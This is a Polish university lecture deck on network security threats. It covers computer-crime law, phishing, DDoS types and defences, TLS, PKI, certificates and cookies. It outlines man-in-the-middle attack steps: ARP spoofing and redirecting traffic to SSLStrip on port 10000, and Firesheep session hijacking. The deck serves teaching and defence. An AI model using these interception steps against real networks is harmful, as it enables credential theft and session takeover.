Upload
others
View
0
Download
0
Embed Size (px)
Citation preview
1
Zagrożenia w sieciach komputerowych
dr inż. Łukasz Sturgulewski, [email protected], http://luk.iis.p.lodz.pl/
Zagrożenia w Sieciach Komputerowych
Aspekty prawne
⚫ Art. 267. [Bezprawne uzyskanie informacji]§ 1. Kto bez uprawnienia uzyskuje dostęp do informacji dla niego nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne, informatyczne lub inne szczególne jej zabezpieczenie,podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.§ 2. Tej samej karze podlega, kto bez uprawnienia uzyskuje dostęp do całości lub części systemu informatycznego.
⚫ Art. 269a. [Zakłócenie systemu komputerowego]Kto, nie będąc do tego uprawnionym, przez transmisję, zniszczenie, usunięcie, uszkodzenie, utrudnienie dostępu lub zmianę danych informatycznych, w istotnym stopniu zakłóca pracę systemu informatycznego, systemu teleinformatycznego lub sieci teleinformatycznej,podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
Zagrożenia w Sieciach Komputerowych 2
Aspekty prawne – zmiany
⚫ Zgodnie z art. 269c Kodeksu karnego, „nie podlega karze za przestępstwo określone w art. 267 § 2 lub art. 269a, kto działa wyłącznie w celu zabezpieczenia systemu informatycznego, systemu teleinformatycznego lub sieci teleinformatycznej albo opracowania metody takiego zabezpieczenia i niezwłocznie powiadomił dysponenta tego systemu lub sieci o ujawnionych zagrożeniach, a jego działanie nie naruszyło interesu publicznego lub prywatnego i nie wyrządziło szkody”.
Zagrożenia w Sieciach Komputerowych 3
Ponemon 2017
Zagrożenia w Sieciach Komputerowych 4
Phishing & SE
Zagrożenia w Sieciach Komputerowych 5
Skoordynowane kampanie, Wybrane docelowe firmy / organizacje
https://niebezpiecznik.pl/post/560-000-pln-wyludzono-od-warszawskiego-metra/
„ Przestępcy podesłali urzędnikom warszawskiego metra fałszywe pismo informujące o zmianie numeru rachunku bankowego. Podszyto się pod jednego z kontrahenta metra, firmę sprzątającą. Urzędnicy pracujący w metrze nie zweryfikowali tej informacji i pod koniec miesiąca przelali ponad pół miliona złotych na nowy, “podstawiony”, numer rachunku bankowego.
Metro nabite w butelkę
Sprawa wyszła na jaw dopiero po miesiącu od wykonania przelewu, kiedy to do metra odezwała się pracownica firmy sprzątającej chcąca dowiedzieć się, skąd wynika opóźnienie w płatności…
Zazwyczaj w umowach opiewających na takie kwoty bezpośrednio wskazuje się rachunek bankowy, na które mają być przelewane należności — ale pojawia się tam także klauzula pozwalająca podmienić pewne dane objęte umową, o ile zostanie to wykonane na piśmie. Być może fałszywe oświadczenie o zmienia numeru rachunku przeszło bez cienia podejrzenia, bo przestępcy podrobili odpowiednie podpisy i powołali się na odpowiednie zapisy umowy, co uśpiło czujność warszawskich urzędników? To jednak sugerowałoby, że w przekręt zamieszany jest ktoś “z wewnątrz”…
Metro złożyło zawiadomienie do prokuratury 30 sierpnia. O podobnych praktykach pisaliśmy na początku roku w artykule “nie opłacaj rachunków wyjętych ze skrzynki na listy“.
Jak słusznie zauważa nasz czytelnik, Dawid, umowa jest dostępna na stronach metra (plik “SP_181_zal_14_UMOWA_ZMIANA.pdf”). Można z niej dowiedzieć się, że wykonawcą usługi sprzątania jest firma Impel S.A.”
Zagrożenia w Sieciach Komputerowych 6
Biały wywiadOSINT (Open-Source Intelligence)
http://rynekinformacji.pl/osint-czym-jest-bialy-wywiad/
„Wywiad źródeł jawnych, zwany także jawnoźródłowym bądź białym jest polegającą na gromadzeniu informacji pochodzących z ogólnie dostępnych źródeł, formą pracy wywiadowczej. Dla jego określenia, zarówno w literaturze naukowej jak i zastosowaniach biznesowych, często używa się angielskiego akronimu OSINT od słów Open-Source INTelligence.”
Zagrożenia w Sieciach Komputerowych 7
Exploit
Zagrożenia w Sieciach Komputerowych 8
Zagrożenia w Sieciach Komputerowych 9
Przykład: CVE-2008-2992
https://www.coresecurity.com/content/adobe-reader-buffer-overflow
Przykład: CVE-2008-2992
Zagrożenia w Sieciach Komputerowych 10
Przykład: CVE-2008-2992
Zagrożenia w Sieciach Komputerowych 11
Zagrożenia w Sieciach Komputerowych 12
Watering Hole – wodopój
Zagrożenia w Sieciach Komputerowych 13
https://niebezpiecznik.pl/post/jak-przeprowadzono-atak-na-knf-i-polskie-banki-oraz-kto-jeszcze-byl-na-celowniku-przestepcow/
„Niektórzy jednak, na podstawie kilku przesłanek (o tym później) łączą znalezione w polskich bankach złośliwe oprogramowanie z włamaniem na stronę Komisji Nadzoru Finansowego. Co tam się stało? Atakujący wykorzystali tam dziurę w serwerze JBOSS i do jednej z bibliotek JavaScript, osadzonej na podstronie KNF, wedle raportów jakie widzieliśmy, 7 października 2016 roku wstrzyknęli złośliwy kod.
Jeśli ktoś wchodził na podstronę KNF, wstrzyknięty przez atakujących kod sprawdzał IP gościa i gdy znajdował się on w “puli klas adresowych celów do ataku” (listę tych podsieci publikujemy na końcu artykułu), następowało przekierowanie ofiary na stronę, która próbowała atakować przeglądarkę internauty. Atakujący korzystali z exploitów na wtyczki (Silverlight i Flash)”
Zagrożenia w Sieciach Komputerowych 14
Zagrożenia w Sieciach Komputerowych 15
Zagrożenia bezpieczeństwa
⚫ Cała grupa intensywnie użytkowanych protokołów opracowanych w latach `80 XX.
⚫ Brak myślenia o bezpieczeństwie.
⚫ Brak możliwości przewidywania przyszłości –rozwój Internetu.
⚫ Przykłady: ARP, ICMP, DNS, IP, UDP, TCP, SMTP, …
Zagrożenia w Sieciach Komputerowych 16
Data narodzin: rok 1974
DoS / DDoS
Zagrożenia w Sieciach Komputerowych 17
Cechy dobrego DoS/DDoS
⚫ Protokoły bezpołączeniowe.
⚫ Mało wygenerowanych danych z atakujących jednostek, dużo danych po stronie celu (pasmo, zasoby, obliczenia, itp. itd).
Zagrożenia w Sieciach Komputerowych 18
DDoS Attack Vectors
Zagrożenia w Sieciach Komputerowych 19
https://security.radware.com/
DoS / DDoS
⚫ Ping of death (packet larger than the maximum allowable size)
⚫ Teardrop (If the sum of the offset and size of one fragmented packet
differs from that of the next fragmented packet, the packets overlap)
⚫ Land (packet where source and destination IPs and ports are set to be
identical)
⚫ Smurf (Fraggle) (ICMP echo requests (ping) traffic to the
broadcast address of routers and other network devices in large
computer networks with a spoofed source address)
Zagrożenia w Sieciach Komputerowych 20
DoS / DDoS
⚫ UDP-flood (UDP packets, typically large ones- saturate the Internet pipe / firewall max connections)
⚫ SYN Flood Attack (Naptha (FIN))
⚫ HTTP-flood (Slowloris)
⚫ HTTP GET Flood
⚫ DNS Amplification
⚫ ……. Amplification (Memcached)https://zaufanatrzeciastrona.pl/post/gigantyczny-atak-ddos-na-githuba-13-terabita-na-sekunde/
Zagrożenia w Sieciach Komputerowych 21
SYN Flood Attack
⚫ Atakujący podszywa się pod
nieistniejący adres IP i zalewa cel
pakietami SYN.
⚫ Cel odpowiada na pakiety SYN
poprzez wysłanie pakietów SYN-
ACK na nieistniejący adres IP.
⚫ Cel przepełnia swój bufor zbyt
dużą liczbą „embryonic
connections” i przestaje
odpowiadać na prawidłowy ruch.
⚫ Czy limitowanie „embryonic
connections” jest dobrą metodą
obrony?
22Zagrożenia w Sieciach Komputerowych
Slow-Header Attack
Zagrożenia w Sieciach Komputerowych 23
http://blogs.citrix.com/2011/09/20/slow-header-attack-brought-down-many-sites-recently-–-know-how-to-protect-against-such-attacks-using-netscaler/
Ciąg dalszy nastąpił… po 20s.
Zagrożenia w Sieciach Komputerowych 24
http://blogs.citrix.com/2011/09/23/slow-post-attack-affects-applications-around-the-world-–-know-how-to-protect-against-such-attacks-using-netscaler/
Slow-Post Attack
HTTP GET Flood
Zagrożenia w Sieciach Komputerowych 25
⚫ Nie ma na celu wysycenia pasma.
⚫ Ma na celu wysycenie zasobów serwera (CPU, memory).
⚫ Zapytanie musi być tak przygotowane aby serwer musiał wykonać maksymalnie wiele operacji (zapytania do bazy danych, sesje SSL).
⚫ Od czasu gdy HTTP GET Flood używa standardowych URL requests, stał się trudny do rozpoznania przez systemy IDS/IPS, szczególnie gdy występuje w wersji rozproszonej (DDoS).
OWASP: HTTP Post Tool
Zagrożenia w Sieciach Komputerowych 26
https://www.owasp.org/index.php/OWASP_HTTP_Post_Tool
Open Web Application Security ProjectOWASP's guides are a great start towards building and maintaining secure applications.quickly,
accurately,
efficiently.
DoS, DDoS - przeciwdziałanie
Zagrożenia w Sieciach Komputerowych 27
1. „Zoptymalizuj swoją stronę. Im mniej zapytań do bazy danych i im mniej zasobów pobieranych z twoich serwerów podczas “wizyty” na twojej stronie, tym lepiej.
2. Statyczne treści (obrazki, skrypty js, arkusze stylów, pliki PDF) wystaw przy pomocy osobnego serwera, tzw. CDN (Content Delivery Network).
3. Rozważ CDN dla całego serwisu. Istnieją tanie rozwiązania takie jak darmowy Cloudflare.
4. Zastanów się nad loadbalancingiem. Krótko mówiąc, skaluj moc obliczeniową swoich serwerów. Żądanie zanim trafi do webserwera jest przechwytywane przez loadbalancer, który następnie decyduje do którego webserwera z farmy (klastra) je przekazać. Wirtualizacja i optymalizacja wykorzystania zasobów.
5. Skaluj łącze. Dynamiczny routing i kilka niezależnych łącz może pomóc w trakcie ataków DDoS.
6. Rozdziel usługi. DDoS-y z reguły dotykają stron WWW.
7. Ustal alternatywny kanał komunikacji, np. Facebook.”
http://niebezpiecznik.pl/symantec/jak-chronic-sie-przed-ddos-em/
CloudFlare is the next-generation CDN
Zagrożenia w Sieciach Komputerowych 28
CloudFlare advanced DDoS protection
Zagrożenia w Sieciach Komputerowych 29
⚫ Layer 3/4 attacks
⚫ DNS amplification attacks
⚫ SMURF attacks
⚫ ACK attacks
⚫ Layer 7 attacks
Zagrożenia w Sieciach Komputerowych 30
Zagrożenia w Sieciach Komputerowych 31
Przeglądarki internetowe
⚫ NCSA Mosaic najpopularniejsza z
pierwszych przeglądarek WWW, które
działały w trybie graficznym.
⚫ Została ona przygotowana przez NCSA
(National Center for Supercomputing
Applications) na uniwersytecie w Illinois
w 1993 roku.
⚫ W 1997 NCSA oficjalnie ogłosiło koniec
prac nad programem.
⚫ Od NCSA Mosaic wywodzą się
przeglądarki Netscape Navigator i
Windows Internet Explorer.
Zagrożenia w Sieciach Komputerowych 32
Przeglądarki internetowe
Netscape Navigator
Netscape Communicator
(przeglądarka, program pocztowy,
edytor HTML, komunikator,
kalendarz)
Netscape
Netscape Navigator
⚫ Napisana przez amerykańską firmę
Netscape Communications
Corporation potem przejęta przez
AOL.
⚫ Pierwsza wersja programu pojawiła
się w roku 1994, ostatnia, 9. wersja
programu ukazała się w roku 2007.
Zagrożenia w Sieciach Komputerowych 33
Przeglądarki internetowe
⚫ W 1995 r. (sierpień) został wydany Internet Explorer 1
⚫ W 2002 r. Korporacja Mozilla: Phoenix -> Firebird -> Firefox
⚫ W 1996 r. norweska firma Opera Software ASA: Opera Do wersji 4.x włącznie, Opera rozprowadzana była na zasadach shareware, następnie od wersji 5.x do
8.50 na licencji adware (z możliwością wyłączenia reklam po zakupie klucza licencyjnego).
Od 20 września 2005 jest programem w pełni darmowym na licencji freeware.
⚫ W 2008 r. Google: Google Chrome (silnik WebKit)
⚫ W 2003 r. Apple: Safari (silnik WebKit; system Mac OS X a od 2007 Windows)
Lista przeglądarek internetowych:
http://pl.wikipedia.org/wiki/Lista_przeglądarek_internetowych
Zagrożenia w Sieciach Komputerowych 34
Przeglądarki internetowe
Zagrożenia w Sieciach Komputerowych 35
⚫ Raport z badania przeprowadzonego przez firmę Gemius,
mającego na celu opracowanie między innymi rankingu
popularności przeglądarek i systemów operacyjnych.
http://www.ranking.pl/
2018-03-24
Zagrożenia w Sieciach Komputerowych 36
SSL, TLS⚫ SSL (ang. Secure Socket Layer)
TLS (ang. Transport Layer Security)
⚫ SSL jest protokołem sieciowym używanym do
bezpiecznych połączeń internetowych.
⚫ Został opracowany przez firmę Netscape
Communications Corporation w 1994r. Początkowo
jako standard szyfrowania dla WWW (HTTP).
⚫ Działa w warstwie sesji/prezentacji, a więc można
łatwo zastosować go do zabezpieczenia różnych
protokołów warstwy aplikacyjnej.
Zagrożenia w Sieciach Komputerowych 37
SSL, TLS
⚫ SSL 1 – brak weryfikacji procedury uzgadniania szyfru,
⚫ SSL 2 – wersja weryfikuje procedurę negocjacyjną,
⚫ SSL 3 – już w roku 1995! (w tym wybrany do obsługi transakcji
bankowych oraz płatności kartami płatniczymi),
⚫ TLS 1.0 – rozwinięcie SSL 3 (SSL 3.1) opisane w RFC 2246,
standard IETF (Internet Engineering Task Force)
⚫ TLS 1.1 – RFC 4346
⚫ TLS 1.2 – RFC 5246.
⚫ TLS 1.3 – draft-ietf-tls-tls13-28 (2018r.)
Zagrożenia w Sieciach Komputerowych 38
Przykłady
Zagrożenia w Sieciach Komputerowych 39
TLS
⚫ Trzy fazy pracy protokołu TLS:
⚫ Negocjacja z klientem wspieranych algorytmów
szyfrowania („uścisk dłoni TLS” – handshake TLS):
⚫ Asymetryczna kryptografia: RSA, Diffie-Hellman, DSA;
⚫ Symetryczna kryptografia: RC2, RC4, IDEA, DES,
Triple DES, AES, Camellia;
⚫ Funkcje mieszające: MD2, MD4, MD5, SHA-1, SHA-2.
⚫ Wymiana klucza publicznego i certyfikatu.
⚫ Transmisja danych – szyfrowanie symetryczne.
Zagrożenia w Sieciach Komputerowych 40http://en.wikipedia.org/wiki/Transport_Layer_Security
TLS - Ustanowienie połączenia Wymiana komunikatów klient-serwer
⚫ Przed rozpoczęciem transmisji muszą być wykonane następujące działania
pomiędzy serwerem a klientem:
⚫ Klient wysyła komunikat ClientHello zawierający:
⚫ najwyższą obsługiwaną wersje protokołu TLS,
⚫ losową liczbę,
⚫ listę sugerowanych algorytmów szyfrowania i kompresji.
⚫ Serwer odpowiada komunikatem ServerHello, zawierającym:
⚫ wybraną wersję protokołu,
⚫ losową liczbę,
⚫ wybrany zestaw algorytmów szyfrowania i kompresji.
⚫ Serwer wysyła swój certyfikat - Certificate
(zgodny ze standardem X.509)
⚫ Serwer wysyła informację o swoim kluczu publicznym
ServerKeyExchange
41Zagrożenia w Sieciach Komputerowych
⚫ Serwer wysyła komunikat ServerHelloDone,
o zakończeniu negocjacji.
⚫ Klient odpowiada komunikatem ClientKeyExchange, który może
zawierać PreMasterSecret, klucz publiczny, lub nic
(w zależności od wynegocjowanych algorytmów szyfrowania).
⚫ Klient i Serwer używają liczb losowych oraz PreMasterSecret do
obliczenia symetrycznego klucza zwanego MasterSecret.
⚫ Klient wysyła komunikat ChangeCipherSpec, przekazując
Serwerowi informacje „wszystko co zostanie teraz wysłane będzie
szyfrowane”.
⚫ Ostatecznie klient wysyła już zaszyfrowany komunikat Finished,
z MAC (Message Authentication Code) poprzedniego komunikatu.
TLS - Ustanowienie połączenia Wymiana komunikatów klient-serwer
42Zagrożenia w Sieciach Komputerowych
⚫ Serwer sprawdza czy MAC jest
poprawny, jeśli tak to wysyła
ChangeCipherSpec oraz jego
zaszyfrowana wersję Finished.
⚫ Klient sprawdza poprawność MAC, jeśli
wszystko jest prawidłowo można
rozpocząć przesyłanie danych.
TLS - Ustanowienie połączenia Wymiana komunikatów klient-serwer
43Zagrożenia w Sieciach Komputerowych
Wykorzystanie
⚫ HTTPS
⚫ FTPS (nie mylić z SFTP!)
⚫ SSL VPN
i wiele, wiele innych…
Zagrożenia w Sieciach Komputerowych 44
Zagrożenia w Sieciach Komputerowych 45
PKI (ang. Public Key Infrastructure) Infrastruktura Klucza Publicznego
⚫ Problem, potrzeba certyfikatów:⚫ Zagrożenie pojawia się, gdy klucz publiczny jednej ze stron
zastąpiony zostanie kluczem publicznym intruza.
⚫ Nieświadoma druga strona zaszyfruje wiadomość takim kluczem i umożliwi intruzowi jej odczytanie!!!
⚫ Sposobem na uniknięcie takiej sytuacji jest certyfikacja klucza publicznego: ⚫ Zakłada się istnienie tzw. zaufanej trzeciej strony, czyli
instytucji, której ufają komunikujące się ze sobą strony.
⚫ Wydaje ona certyfikaty, które stwierdzają autentyczność klucza publicznego oraz prawo używania go przez daną osobę.
⚫ Takie właśnie instytucje, zwane urzędami certyfikacji CA(ang. Certification Authority), tworzą PKI.
PKI (ang. Public Key Infrastructure) Infrastruktura Klucza Publicznego
⚫ PKI jest koncepcją zawierającą w sobie wszystkie niezbędne elementy do pewnej i bezpiecznej wymiany danych oraz zapewnienia prawdziwości i tożsamości podmiotów.
⚫ PKI może składać się z wielu komponentów takich jak użytkownicy, centra autoryzacyjne czy rejestracyjne, certyfikaty, katalogi, listy certyfikatów (platforma serwisowa dla klientów).
⚫ PKI to kombinacja elementów oprogramowania, technologii kodujących, procesów i usług, które pozwalają organizacji zabezpieczyć jej kanały transmisyjne i wykonywane transakcje.
⚫ PKI bazuje na wymianie cyfrowych dowodów tożsamości (certyfikatów) pomiędzy uwierzytelnionym użytkownikiem a zaufanym zasobem. Certyfikaty mogą służyć do zabezpieczenia danych i potwierdzania tożsamości użytkowników i komputerów zarówno wewnątrz danej firmy, jak i pomiędzy różnymi organizacjami.
Zagrożenia w Sieciach Komputerowych 46
Zagrożenia w Sieciach Komputerowych 47
PKI
Zagrożenia w Sieciach Komputerowych 48
PKI
⚫ Najważniejszą częścią struktury jest Główny Urząd Certyfikacji (ang. Root Certification Authority).
⚫ Podlegają mu pośrednie urzędy certyfikacji, które wydają certyfikaty użytkownikom końcowym.
⚫ W PKI występuje jeszcze pojęcie urzędu rejestracji (ang. Registration Authority).
⚫ Urząd rejestracji sprawdza tożsamość użytkowników na podstawie dostarczonych przez nich dokumentów.
⚫ Procedura ta ma na celu powiązanie tożsamości osoby z wydawanym cyfrowym certyfikatem.
⚫ W celu usprawnienia procesu można utworzyć wiele urzędów rejestracji podlegających jednemu urzędowi certyfikacji.
⚫ Urząd certyfikacji natomiast ma za zadanie wystawić certyfikat, oczywiście po potwierdzeniu tożsamości tej osoby przez urząd rejestracji.
⚫ Certyfikat ten jest umieszczany w repozytorium, a następnie publikowany np. przez WWW lub usługę katalogową LDAP, skąd może zostać pobrany.
http://www.europki.pl/polish_ca/help/intro/intro.html
Zagrożenia w Sieciach Komputerowych 49
Certyfikaty - specyfikacja X.509 v1
⚫ podmiot (subject) – nazwa komputera, użytkownika, urządzenia sieciowego, usługi czy firmy dla której certyfikat został wystawiony. Podmiot jest najczęściej definiowany przez nazwę zgodną z formatem X.500 lub LDAP,
⚫ numer seryjny – w unikalny sposób wyróżnia dany konkretny certyfikat (każdy podmiot może mieć ich wiele) wystawiony przez dany urząd,
⚫ wydawca – w pełni kwalifikowana (X.500 lub LDAP) nazwa urzędu, który dany certyfikat wystawił,
⚫ „ważny od” – data i czas, od kiedy certyfikat może być używany,
⚫ „ważny do” – określa datę i czas, po którym wygasa ważność certyfikatu,
⚫ klucz publiczny – pole zawiera klucz publiczny podmiotu, związany z odpowiednim (przechowywanym poza certyfikatem) kluczem prywatnym,
Certyfikaty - specyfikacja X.509 v3
⚫ alternatywne nazwy podmiotu, takie jak np. adres e-mail, nazwa logowania UPN, czy inne nazwy w dowolnych formatach,
⚫ punkty dystrybucyjne CRL – pozwalają odbiorcy certyfikatu sprawdzić w trybie „online” czy dany certyfikat nie został wycofany przez urząd, który go wystawił,
⚫ tzw. AIA (Authority Information Access) - adres, który pozwala na sprawdzenie certyfikatu samego urzędu CA,
⚫ rozszerzone użycie kluczy (enhanced key usage) – pole zawiera identyfikatory OID aplikacji i usług, które mogą korzystać z kluczy skojarzonych z certyfikatem,
⚫ polityki certyfikatów - określają w jaki sposób może być sprawdzona autentyczność podmiotu ubiegającego się o wystawienie certyfikatu.
Zagrożenia w Sieciach Komputerowych 50
Zagrożenia w Sieciach Komputerowych 51
Certyfikaty
Zagrożenia w Sieciach Komputerowych 52
Certyfikaty
⚫ Certyfikaty SSL można kupić np. w:
⚫ Thawte (http://www.thawte.com),
⚫ VeriSign (http://www.verisign.com),
⚫ RSA Security (http://www.rsasecurity.com),
⚫ Entrust (http://www.entrust.com).
⚫ Najpopularniejszą firmą w Polsce wystawiającą
certyfikaty jest Centrum Certyfikacji Unizeto
(http://www.certum.pl).
⚫ Koszt komercyjnego certyfikatu dla pojedynczej nazwy
domenowej to wydatek od 29.99 $ rocznie.
CA – W3Techs
Zagrożenia w Sieciach Komputerowych 53
VeriSign
Thawte
Geotrust
Certification Authorities
⚫ Rynek certyfikatów SSL jest raczej mały, opanowany przez kilka dużych, międzynarodowych firm.
⚫ Barierą dla nowych są szczegółowe audyty bezpieczeństwa (takie jak WebTrust dla CA) konieczne aby znaleźć się na liście zaufanych CA w przeglądarkach.
⚫ Ponad 50 CA posiada status zaufanych w aktualnych wersjach popularnych przeglądarek.
Mozilla Firefox:
https://docs.google.com/spreadsheet/pub?key=0Ah-tHXMAwqU3dGx0cGFObG9QM192NFM4UWNBMlBaekE&single=true&gid=1&output=html
polityka: http://www.mozilla.org/projects/security/certs/policy/
CA Świat:
https://www.tractis.com/help/?p=3670
Zagrożenia w Sieciach Komputerowych 54
Certum
„CERTUM Powszechne Centrum Certyfikacji zostało uruchomione 15 grudnia 1998 roku, jako jednostka organizacyjna Unizeto Technologies SA, świadcząca usługi certyfikacyjne związane z podpisem elektronicznym. Jest to najstarsze i największe publiczne centrum certyfikacji w Polsce. Zlokalizowane jest w Szczecinie, w nowoczesnym budynku zapewniającym infrastrukturze i systemom CERTUM ciągłość działania oraz bardzo wysoki stopień bezpieczeństwa elektronicznego, mechanicznego i dostępowego.
Unizeto Technologies SA jest wiodącym dostawcą usług certyfikacyjnych związanych z podpisem elektronicznym oraz dostawcą technologii e-podpisu i PKI (Public Key Infrastructure) w Polsce. Opracowane przez nas systemy i świadczone usługi znajdują uznanie odbiorców na całym świecie. Produkty związane z podpisem elektronicznym oferujemy klientom biznesowym i indywidualnym oraz administracji publicznej, np. certyfikaty kwalifikowane, certyfikaty ID, certyfikaty SSL, certyfikaty do podpisywania kodu i certyfikaty VPN.”
Zagrożenia w Sieciach Komputerowych 55
Zagrożenia w Sieciach Komputerowych 56
Zagrożenia w Sieciach Komputerowych 57
e-mail z WHOIS CA/Browser Forum
https://www.cabforum.org/Guidelines_v1_4.pdf
Zagrożenia w Sieciach Komputerowych 58
http://www.certum.pl/
Google Chrome
Zagrożenia w Sieciach Komputerowych 59
Ataki
⚫ SSLStrip
⚫ Firesheep
⚫ BEAST
⚫ CRIME
⚫ DROWN
⚫ Logjam
⚫ FREAK
⚫ POODLE
Zagrożenia w Sieciach Komputerowych 60
Ataki
⚫ SSLStrip (Moxie Marlinspike, Black Hat DC, 2009)
⚫ rodzaj pośrednika (proxy) – zazwyczaj używani do szyfrowania danych… (tunele VPN, sieci TOR)
⚫ W tym przypadku do deszyfrowania.
⚫ Atak typu MITM
Zagrożenia w Sieciach Komputerowych 61
SSLStrip
⚫ Problemy i ułatwienia ataku:
⚫ http a nie https w przeglądarce
⚫ ale strony z mieszaną zawartością
⚫ Bardzo groźne! Brak szansy na dostrzeżenie ataku.
⚫ ale reakcja użytkownika na alerty
⚫ Tak też często działają firewall’e: przy czym ruch klient – firewall jest szyfrowany.
Zagrożenia w Sieciach Komputerowych 62
SSLStrip
⚫ Działanie:
⚫ MITM: np. ARP spoofing
Zagrożenia w Sieciach Komputerowych 63
Przed
Po
SSLStrip
⚫ Przekierowanie ruchu skierowanego z przeglądarki internetowej na port 80 na port, na którym będzie nasłuchiwał SSLStrip.
⚫ Domyślnie SSLStrip korzysta z portu 10000.
⚫ Uruchomienie SSLStrip na porcie 10000.
⚫ Będzie pośrednikiem pomiędzy serwerem a klientem oraz będzie zapisywał przechwycone dane.
Zagrożenia w Sieciach Komputerowych 64
SSLStrip
Zagrożenia w Sieciach Komputerowych 65
SSLStrip
Zagrożenia w Sieciach Komputerowych 66
Konrad Knop „Aspekty bezpieczeństwa połączeń sieciowych realizowanych za pomocą rodziny protokołów SSL/TLS.”
SSLStrip
Zagrożenia w Sieciach Komputerowych 67
znak V oznaczał niepowodzenie podsłuchu.
SSLStrip
⚫ Obrona:
⚫ Serwery (szyfrowanie całej sesji, id sesji szyfrowane - cookies)
⚫ Klient (certyfikat, kłódka ;) )
⚫ DAI (port-security to zbyt mało!)
⚫ WPA2
Zagrożenia w Sieciach Komputerowych 68
HTTP cookies (ciasteczka)
⚫ Początkowo serwer nie miał mechanizmów pozwalających na stwierdzenie czy dwa zapytania pochodzą z tej samej przeglądarki.
⚫ Podstawowy problem dotyczył zalogowanych użytkowników – i utrzymania ich w tym stanie przez cały czas pobytu na serwerze.
⚫ To ograniczenie zostało rozwiązane przez firmę Netscape poprzez wprowadzenie technologii zwanej "cookies" już w pierwszej wersji Netscape Navigator.
⚫ Jak działają cookies zostało opisane w RFC 6265.
⚫ Jeśli serwer otrzyma żądanie HTTP może w odpowiedzi wysłać nagłówek z Set-Cookie.
⚫ Następnie otrzymane wartości cookies są wysyłane w każdym żądaniu (nagłówku HTTP) od klienta do serwera.
⚫ Dodatkowo czas wygaśnięcia może zostać określony. Ograniczenia do określonej domeny, ścieżki oraz protokołu i szyfrowania mogą zostać określone.
Zagrożenia w Sieciach Komputerowych 69
Cookies (ciasteczka)
Request for Comments: 6265
HTTP State Management Mechanism
„Abstract
This document defines the HTTP Cookie and Set-Cookie header fields.
These header fields can be used by HTTP servers to store state
(called cookies) at HTTP user agents, letting the servers maintain a
stateful session over the mostly stateless HTTP protocol. Although
cookies have many historical infelicities that degrade their security
and privacy, the Cookie and Set-Cookie header fields are widely used
on the Internet. This document obsoletes RFC 2965.”
Zagrożenia w Sieciach Komputerowych 70
Cookies (ciasteczka)
⚫ Cookie zwiera nie więcej niż 255 znaków i nie może zajmować więcej niż 4K miejsca na dysku.
⚫ Parametry cookie:
⚫ Name of the cookie
⚫ Value of the cookie
⚫ The Max-Age Attribute
⚫ The Domain Attribute
⚫ The Path Attribute
⚫ The Secure Attribute
⚫ The HttpOnly Attribute
⚫ I wiele, wiele innych określonych przez twórców stron… np. Cookiepolicy: accept
Zagrożenia w Sieciach Komputerowych 71
Przykład
== Server -> User Agent ==
Set-Cookie: SID=31d4d96e407aad42; Path=/; Secure; HttpOnly
Set-Cookie: Path=/; Domain=example.com
Set-Cookie: lang=en-US; Expires=Wed, 09 Jun 2021 10:18:14 GMT
Zagrożenia w Sieciach Komputerowych 72
Cookies (ciasteczka)
Bank PEKAO SA:
⚫ „W serwisach Banku pliki cookies wykorzystywane są w celu:⚫ dostosowania zawartości stron internetowych Serwisu do preferencji
Użytkownika oraz optymalizacji korzystania ze stron internetowych; w szczególności pliki te pozwalają rozpoznać urządzenie Użytkownika Serwisu i odpowiednio wyświetlić stronę internetową, dostosowaną do jego indywidualnych potrzeb; (Personalization)
⚫ tworzenia statystyk, które pomagają zrozumieć, w jaki sposób Użytkownicy Serwisu korzystają ze stron internetowych, co umożliwia ulepszanie ich struktury i zawartości; (Tracking)
⚫ utrzymanie sesji Użytkownika Serwisu (po zalogowaniu), dzięki której Użytkownik nie musi na każdej podstronie Serwisu ponownie wpisywać loginu i hasła. (Session management)”
Zagrożenia w Sieciach Komputerowych 73
Cookies (ciasteczka)
⚫ Zombie cookie
⚫ Third-party cookie
Zagrożenia w Sieciach Komputerowych 74
Firesheep (łatwa kradzież ciastek)
⚫ atak typu Session Hijacking
⚫ przejęcie identyfikatora sesji zaszytego w ciasteczku (cookies), które zostają wysłane przez niezabezpieczony protokół HTTP (przejęcia ciasteczka).
⚫ problem: zabezpieczanie jedynie procesu logowania strony zamiast całej komunikacji z nią.
⚫ Eric Butler, 2010
Zagrożenia w Sieciach Komputerowych 75
Firesheep
⚫ Problem:
⚫ Ruch szyfrowany: obciążenie serwera większe o około 30%,
⚫ Kryptografia kosztuje…
Zagrożenia w Sieciach Komputerowych 76http://niebezpiecznik.pl/post/firesheep-firefox-ataki-na-sesje/
Firesheep
⚫ Wtyczka Firesheep wymagania:
⚫ WinPcap w wersji 4.1.2
⚫ Firefox w wersji 3.6.13
⚫ Wtyczka odpowiada za przechwytywanie ruchu a dzięki integracji z Firefox pozwala na szybkie użycie, tego co zostało przechwycone.
Zagrożenia w Sieciach Komputerowych 77
⚫ Ma wgranych kilka znanych witryn internetowych np.: facebook.com, twitter.com, google.com.
⚫ Można dodać własne:
Firesheep
Zagrożenia w Sieciach Komputerowych 78
Firesheep
⚫ W niezabezpieczonej sieci (ARP spoofing, sieci WiFi) program powinien działać bez problemów, jeśli znajdzie użytkownika, który próbuje wejść na stronę znaną przez wtyczkę.
⚫ Wtedy po prawej stronie przeglądarki pojawią się strony, które można kliknąć w celu przejęcia dostępu.
⚫ Z powodu działania programu tylko na identyfikatorze sesji, nie jest możliwa na przykład zmiana hasła, ponieważ nie jest znane hasło oryginalne, co jest wymagane do tej operacji w większości przypadków.
⚫ Niektóre serwisy wiążą identyfikatory sesji z adresem IP, ale w przypadku gdy i atakujący i atakowany znajdują się za tym samym NAT, z reguły nie jest to problemem.
Zagrożenia w Sieciach Komputerowych 79
Firesheep
⚫ Popularnymi stronami, które w chwili publikacji wtyczki były podatne na atak, to:
⚫ facebook.com
⚫ hotmail.com
Zagrożenia w Sieciach Komputerowych 80
Firesheep
⚫ Rozwiązania:⚫ Po stronie serwera: ustawiając ciastko klientowi, można
skorzystać z flagi Secure, która gwarantuje, że zawartość ciastka zostanie wysłana tylko wtedy, kiedy przeglądarka rozmawia z serwerem po HTTPS. Pełne szyfrowanie SSL/TLS – koszt głównie po stronie serwerów.
⚫ Po stronie klienta: przed podsłuchaniem można się chronić np. przy pomocy tuneli SSH lub połączeń z niezaufanych sieci poprzez zaufany VPN. Lokalny atakujący zobaczy wtedy zaszyfrowane dane (ciastka), ale zawsze jest ryzyko podsłuchu po drugiej stronie tunelu…
